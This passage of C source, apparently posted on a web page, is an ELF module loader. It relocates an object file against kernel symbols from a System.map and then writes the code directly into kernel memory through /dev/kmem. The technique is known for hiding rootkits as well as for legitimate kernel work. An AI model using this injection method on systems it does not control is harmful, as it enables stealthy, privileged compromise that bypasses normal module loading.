  6540. case SHT_STRTAB:
  6541. load_section(sectionp, fd, shdr);
  6542. if (i != ehdr->e_shstrndx)
  6543. module->strtabidx = i;
  6544. break;
  6545. case SHT_SYMTAB:
  6546. case SHT_PROGBITS:
  6547. case SHT_REL:
  6548. load_section(sectionp, fd, shdr);
  6549. break;
  6550. default:
  6551. fprintf(
  6552. stderr,
  6553. "No handler for section (type): %i\n",
  6554. shdr->sh_type
  6555. );
  6556. exit(1);
  6557. }
  6558. ++shdr;
  6559. }
  6560. }
  6561. void relocate(struct _module *module, Elf32_Rel *rel, Elf32_Shdr *shdr)
  6562. {
  6563. Elf32_Sym *symtab = (Elf32_Sym *)module->section[shdr->sh_link];
  6564. Elf32_Sym *sym = &symtab[ELF32_R_SYM(rel->r_info)];
  6565. Elf32_Addr addr;
  6566. Elf32_Shdr *targshdr = &module->shdr[shdr->sh_info];
  6567. Elf32_Addr dot = targshdr->sh_addr + rel->r_offset;
  6568. Elf32_Addr *loc = (Elf32_Addr *)(
  6569. module->section[shdr->sh_info] + rel->r_offset
  6570. );
  6571. char *name = &module->section[module->strtabidx][sym->st_name];
  6572. if (ELF32_ST_BIND(sym->st_info) != STB_LOCAL) {
  6573. struct kernel_sym *ksym;
  6574. if (force) {
  6575. char novname[60];
  6576. int len;
  6577. len = strlen(name);
  6578. if (len > 10 && !strncmp(name + len - 10, "_R", 2)) {
  6579. strncpy(novname, name, len - 10);
  6580. novname[len - 10] = 0;
  6581. ksym = ksyms_find(novname);
  6582. } else
  6583. ksym = ksyms_find(name);
  6584. } else
  6585. ksym = ksyms_find(name);
  6586. if (ksym != NULL) {
  6587. addr = ksym->value;
  6588. #ifdef DEBUG
  6589. printf(
  6590. "Extern symbol is (%s:%lx)\n",
  6591. ksym->name,
  6592. (unsigned long)addr
  6593. );
  6594. #endif
  6595. goto next;
  6596. }
  6597. if (
  6598. sym->st_shndx == 0 ||
  6599. sym->st_shndx > module->ehdr.e_shnum
  6600. ) {
  6601. fprintf(
  6602. stderr,
  6603. "ERROR: undefined symbol (%s)\n", name
  6604. );
  6605. ++error;
  6606. return;
  6607. }
  6608. }
  6609. addr = sym->st_value + module->shdr[sym->st_shndx].sh_addr;
  6610. #ifdef DEBUG
  6611. printf("Symbol (%s:%lx) is local\n", name, (unsigned long)addr);
  6612. #endif
  6613. next:
  6614. if (targshdr->sh_type == SHT_SYMTAB) return;
  6615. if (targshdr->sh_type != SHT_PROGBITS) {
  6616. fprintf(
  6617. stderr,
  6618. "Rel not PROGBITS or SYMTAB (type: %i)\n",
  6619. targshdr->sh_type
  6620. );
  6621. exit(1);
  6622. }
  6623. switch (ELF32_R_TYPE(rel->r_info)) {
  6624. case R_386_NONE:
  6625. break;
  6626. case R_386_PLT32:
  6627. case R_386_PC32:
  6628. *loc -= dot; /* *loc += addr - dot */
  6629. case R_386_32:
  6630. *loc += addr;
  6631. break;
  6632. default:
  6633. fprintf(
  6634. stderr, "No handler for Relocation (type): %i",
  6635. ELF32_R_TYPE(rel->r_info)
  6636. );
  6637. exit(1);
  6638. }
  6639. }
  6640. void relocate_module(struct _module *module)
  6641. {
  6642. int i;
  6643. for (i = 0; i < module->ehdr.e_shnum; i++) {
  6644. if (module->shdr[i].sh_type == SHT_REL) {
  6645. int j;
  6646. Elf32_Rel *relp = (Elf32_Rel *)module->section[i];
  6647. for (
  6648. j = 0;
  6649. j < module->shdr[i].sh_size/sizeof(Elf32_Rel);
  6650. j++
  6651. ) {
  6652. relocate(
  6653. module,
  6654. relp,
  6655. &module->shdr[i]
  6656. );
  6657. ++relp;
  6658. }
  6659. }
  6660. }
  6661. }
  6662. void print_symaddr(struct _module *module, const char *symbol)
  6663. {
  6664. Elf32_Sym *sym;
  6665. sym = localall_sym_find(module, symbol);
  6666. if (sym == NULL) {
  6667. fprintf(stderr, "No symbol (%s)\n", symbol);
  6668. ++error;
  6669. return;
  6670. }
  6671. printf(
  6672. "%s: 0x%lx\n",
  6673. symbol,
  6674. (unsigned long)module->shdr[sym->st_shndx].sh_addr
  6675. + sym->st_value
  6676. );
  6677. }
  6678. void init_module(struct _module *module, unsigned long maddr)
  6679. {
  6680. int i;
  6681. unsigned long len = 0;
  6682. module->maddr = maddr;
  6683. for (i = 0; i < module->ehdr.e_shnum; i++) {
  6684. if (module->shdr[i].sh_type != SHT_PROGBITS) continue;
  6685. module->shdr[i].sh_addr = len + maddr;
  6686. len += module->shdr[i].sh_size;
  6687. }
  6688. module->len = len;
  6689. if (module->maxlen > 0 && module->len > module->maxlen) {
  6690. fprintf(
  6691. stderr,
  6692. "Module too large: (modsz: %i)\n",
  6693. module->len
  6694. );
  6695. exit(1);
  6696. }
  6697. printf("Module length: %i\n", module->len);
  6698. relocate_module(module);
  6699. print_symaddr(module, "init_module");
  6700. print_symaddr(module, "cleanup_module");
  6701. }
  6702. void do_module(struct _module *module, int fd)
  6703. {
  6704. int kd;
  6705. int i;
  6706. #ifdef DEBUG
  6707. for (i = 0; i < module->ehdr.e_shnum; i++) {
  6708. if (module->shdr[i].sh_type != SHT_PROGBITS) continue;
  6709. if (lseek(fd, module->shdr[i].sh_offset, SEEK_SET) < 0) {
  6710. perror("lseek");
  6711. exit(1);
  6712. }
  6713. if (
  6714. write(
  6715. fd, module->section[i], module->shdr[i].sh_size
  6716. ) != module->shdr[i].sh_size
  6717. ) {
  6718. perror("write");
  6719. exit(1);
  6720. }
  6721. }
  6722. #else
  6723. kd = open("/dev/kmem", O_RDWR);
  6724. if (kd < 0) {
  6725. perror("open");
  6726. exit(1);
  6727. }
  6728. if (lseek(kd, module->maddr, SEEK_SET) < 0) {
  6729. perror("lseek");
  6730. exit(1);
  6731. }
  6732. for (i = 0; i < module->ehdr.e_shnum; i++) {
  6733. if (module->shdr[i].sh_type != SHT_PROGBITS) continue;
  6734. if (
  6735. write(
  6736. kd, module->section[i], module->shdr[i].sh_size
  6737. ) != module->shdr[i].sh_size
  6738. ) {
  6739. perror("write");
  6740. exit(1);
  6741. }
  6742. }
  6743. close(kd);
  6744. #endif
  6745. }
  6746. int main(int argc, char *argv[])
  6747. {
  6748. char *map = system_map;
  6749. struct _module module;
  6750. int fd;
  6751. int ch;
  6752. int retval = 0;
  6753. while ((ch = getopt(argc, argv, "m:tf")) != EOF) {
  6754. switch (ch) {
  6755. case 'm':
  6756. map = optarg;
  6757. break;
  6758. case 't':
  6759. ++run;
  6760. break;
  6761. case 'f':
  6762. ++force;
  6763. break;
  6764. }
  6765. }
  6766. /*
  6767. so we can move options in and out without changing the codes idea
  6768. of what argv and argc look like.
  6769. */
  6770. --optind;
  6771. argv += optind;
  6772. argc -= optind;
  6773. if (argc != 3 && argc != 4) {
  6774. fprintf(
  6775. stderr,
  6776. "usage: k module [-t] [-m map] maddr(hex) [maxlen]\n"
  6777. );
  6778. exit(1);
  6779. }
  6780. #ifdef DEBUG
  6781. fd = open(argv[1], O_RDWR);
  6782. #else
  6783. fd = open(argv[1], O_RDONLY);
  6784. #endif
  6785. if (fd < 0) {
  6786. perror("open");
  6787. exit(1);
  6788. }
  6789. if (ksyms_init(map) < 0) {
  6790. perror("ksyms_init");
  6791. exit(1);
  6792. }
  6793. module.maxlen = (argc == 4 ? atoi(argv[3]) : -1);
  6794. load_module(&module, fd);
  6795. init_module(&module, strtoul(argv[2], NULL, 16));
  6796. if (run == 0) {
  6797. if (error == 0) {
  6798. do_module(&module, fd);
  6799. } else {
  6800. fprintf(
  6801. stderr,
  6802. "FAILED: (%i) errors. Exiting...\n", error
  6803. );
  6804. ++retval;
  6805. }
  6806. }
  6807. ksyms_cleanup();
  6808. exit(retval);
  6809. }
  6810. </xmp>
  6811. </HTML>